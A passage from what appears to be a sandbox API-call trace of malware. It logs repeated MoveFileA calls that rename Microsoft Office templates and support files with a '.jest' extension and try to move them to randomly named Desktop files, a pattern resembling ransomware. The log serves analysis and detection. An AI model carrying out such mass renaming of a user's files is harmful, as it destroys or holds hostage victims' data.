Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx.jest")) returned 1 [0164.120] VarBstrFromR4 (in: fltIn=0x479456e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.77") returned 0x0 [0164.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KBFVqag4f ZWRcR0L6Y0bi2ruUQ3Zm6IutGFD_lY3NTbYMAcXAy5MCh1DBlBi54JpoRlAm faYXUQnu00sNXxktyfNhrhO2swdCtJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kbfvqag4f zwrcr0l6y0bi2ruuq3zm6iutgfd_ly3ntbymacxay5mch1dblbi54jporlam fayxuqnu00snxxktyfnhrho2swdctj.tmp")) returned 0 [0164.122] GetLastError () returned 0x2 [0164.122] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx.jest")) returned 1 [0164.124] VarBstrFromR4 (in: fltIn=0x479456e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.78") returned 0x0 [0164.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fBtQqQtJ4mI dfkvzxiH eQzbQeWStEX-23FM35VuWUx-iwE pBKdIv_JwGNOPRX LH8-ORAXm7rtyxxy9OrM2_WxS4_txHQpXO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fbtqqqtj4mi dfkvzxih eqzbqewstex-23fm35vuwux-iwe pbkdiv_jwgnoprx lh8-oraxm7rtyxxy9orm2_wxs4_txhqpxo.tmp")) returned 0 [0164.126] GetLastError () returned 0x2 [0164.126] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx.jest")) returned 1 [0164.130] VarBstrFromR4 (in: fltIn=0x479456e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.78") returned 0x0 [0164.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jDfpBp6WWryZ579qTts9HFngenGgueqtgkighFUXWDNRCIGz- oM2OPSlHXCtLvSnfig-2sx4Ecuew gFOSwQTntLo3idqHez985.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jdfpbp6wwryz579qtts9hfngenggueqtgkighfuxwdnrcigz- om2opslhxctlvsnfig-2sx4ecuew gfoswqtntlo3idqhez985.tmp")) returned 0 [0164.131] GetLastError () returned 0x2 [0164.131] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx.jest")) returned 1 [0164.134] VarBstrFromR4 (in: fltIn=0x479456e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.78") returned 0x0 [0164.135] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OYYmIqMQrS-RzXlD8cAf_nkiceMLzkZuvwbnK6XWPxVC-i9Y2qOIRlvBmgLItYKebr3jTiT-sI-vSiUgqersyXKaP0ckwXvaLDMI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oyymiqmqrs-rzxld8caf_nkicemlzkzuvwbnk6xwpxvc-i9y2qoirlvbmglitykebr3jtit-si-vsiugqersyxkap0ckwxvaldmi.tmp")) returned 0 [0164.135] GetLastError () returned 0x2 [0164.135] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx.jest")) returned 1 [0164.138] VarBstrFromR4 (in: fltIn=0x479456e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.8") returned 0x0 [0164.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zCLNoK3_EkolL-_XIE8rlosmtI6r4dtVO2cq0ISxe1V7rvQZCR6jDcLfFnSUf_0kESt0b-ky8hQvnE6SdhcY2zZbN2sL CMjhAyLV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zclnok3_ekoll-_xie8rlosmti6r4dtvo2cq0isxe1v7rvqzcr6jdclffnsuf_0kest0b-ky8hqvne6sdhcy2zzbn2sl cmjhaylv.tmp")) returned 0 [0164.139] GetLastError () returned 0x2 [0164.141] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx.jest")) returned 1 [0164.144] VarBstrFromR4 (in: fltIn=0x479456e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.8") returned 0x0 [0164.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JY5wD4vMWbvdgRm1MyMqROEMY923IM2cUREtSU28pHCmvPjlDowc5UPoEx_ekSA9N2obOWGoTCN6NJbF0jjez7kE9vFtA7zxxhBAz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jy5wd4vmwbvdgrm1mymqroemy923im2curetsu28phcmvpjldowc5upoex_eksa9n2obowgotcn6njbf0jjez7ke9vfta7zxxhbaz.tmp")) returned 0 [0164.145] GetLastError () returned 0x2 [0164.146] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx.jest")) returned 1 [0164.149] VarBstrFromR4 (in: fltIn=0x479456e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.8") returned 0x0 [0164.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a6KoEYwiIacR0u5_3YR7j2x79gZus7fpWcOL6WM9zpiIfXjNmJKdl065RoxhYL6gWB7hWKhM044boMbPf_VfmgrlKuyiLb9mBz0Rn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a6koeywiiacr0u5_3yr7j2x79gzus7fpwcol6wm9zpiifxjnmjkdl065roxhyl6gwb7hwkhm044bombpf_vfmgrlkuyilb9mbz0rn.tmp")) returned 0 [0164.150] GetLastError () returned 0x2 [0164.151] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.159] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.jest")) returned 1 [0164.170] VarBstrFromR4 (in: fltIn=0x479456ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.83") returned 0x0 [0164.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\alfMbfyd65mDDk S9jBzvIWlHsvVDOqLJb75_NvbpQJ9erFk-BnbjsJ-xbiDQ2j8TwU U0APKiMZxjyN0GzZDvJIhZlNo8DrOM_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\alfmbfyd65mddk s9jbzviwlhsvvdoqljb75_nvbpqj9erfk-bnbjsj-xbidq2j8twu u0apkimzxjyn0gzzdvjihzlno8drom_.tmp")) returned 0 [0164.171] GetLastError () returned 0x2 [0164.171] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.jest")) returned 1 [0164.202] VarBstrFromR4 (in: fltIn=0x479456ee, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.86") returned 0x0 [0164.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a7PsWMuO7OdrO6PlI-ozNfSHrf97SNqg7030EsZ1SsdznP9b2h2yW 73uWbo6y1mCZJZ89IY7HAsJD0WJOCCKoVDPKzDeLj8EWJC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a7pswmuo7odro6pli-oznfshrf97snqg7030esz1ssdznp9b2h2yw 73uwbo6y1mczjz89iy7hasjd0wjocckovdpkzdelj8ewjc.tmp")) returned 0 [0164.203] GetLastError () returned 0x2 [0164.205] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰼ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.215] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config.jest" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.jest")) returned 1 [0164.219] VarBstrFromR4 (in: fltIn=0x479456f0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.88") returned 0x0 [0164.220] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJZ7RPRZXZfjMohK42ppop0lc1uRCCIXZL-yf6jSO-3kgxN8lTwIIRzFn_wpoQ9UvmfAsCfqh34iyxFZfcqAimB5marZejusn19Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yjz7rprzxzfjmohk42ppop0lc1urccixzl-yf6jso-3kgxn8ltwiirzfn_wpoq9uvmfascfqh34iyxfzfcqaimb5marzejusn19z.tmp")) returned 0 [0164.220] GetLastError () returned 0x2 [0164.221] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.jest")) returned 1 [0164.250] VarBstrFromR4 (in: fltIn=0x479456f4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.91") returned 0x0 [0164.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PRc_ZzLiqjvH03AAlpv9dYQCzQ0DXFcsAd5Dl2v-d2S9obpX9M_3eiEt08JyHiFLYH-WlS4wCsfQmqdWl38ZN5GnkkNdfbIQuZYtk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\prc_zzliqjvh03aalpv9dyqczq0dxfcsad5dl2v-d2s9obpx9m_3eiet08jyhiflyh-wls4wcsfqmqdwl38zn5gnkkndfbiquzytk.tmp")) returned 0 [0164.251] GetLastError () returned 0x2 [0164.252] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.309] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg.jest")) returned 1 [0164.320] VarBstrFromR4 (in: fltIn=0x479456fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.97") returned 0x0 [0164.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ABS5CZV-e8jZQ1tze2JFrRt3OV2Dey-VMdeXudFrFHy07dSUjcGw6lDJoQmy44erNQ4r4584-kGtJRRzBhkG_O7 JdbhwwX7uocqw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abs5czv-e8jzq1tze2jfrrt3ov2dey-vmdexudfrfhy07dsujcgw6ldjoqmy44ernq4r4584-kgtjrrzbhkg_o7 jdbhwwx7uocqw.tmp")) returned 0 [0164.321] GetLastError () returned 0x2 [0164.322] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml.jest")) returned 1 [0164.475] VarBstrFromR4 (in: fltIn=0x47945710, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.13") returned 0x0 [0164.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 27pKCG4CkOwzXIWxfI3QT09BDDFvvlqFW9fzMeJ LfJ026qhZ9g9JI-qKztzNw5IeLZa4jeO-kENOnompHwNH3HFc4GjxDFB6uU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ 27pkcg4ckowzxiwxfi3qt09bddfvvlqfw9fzmej lfj026qhz9g9ji-qkztznw5ielza4jeo-kenonomphwnh3hfc4gjxdfb6uu.tmp")) returned 0 [0164.477] GetLastError () returned 0x2 [0164.477] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.478] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg.jest")) returned 1 [0164.482] VarBstrFromR4 (in: fltIn=0x47945712, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.14") returned 0x0 [0164.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oGz_V8pm-JekffOkKYnWBMQQCY8q93VG8OVqmywYSeBR9iZxfl7sFlM1pqDpJ3E4UkAGQU9U9OUoYq2YBoI6Bwl37D6st5jJVDfzI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogz_v8pm-jekffokkynwbmqqcy8q93vg8ovqmywysebr9izxfl7sflm1pqdpj3e4ukagqu9u9ouoyq2yboi6bwl37d6st5jjvdfzi.tmp")) returned 0 [0164.483] GetLastError () returned 0x2 [0164.484] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg.jest")) returned 1 [0164.490] VarBstrFromR4 (in: fltIn=0x47945712, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.14") returned 0x0 [0164.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OC 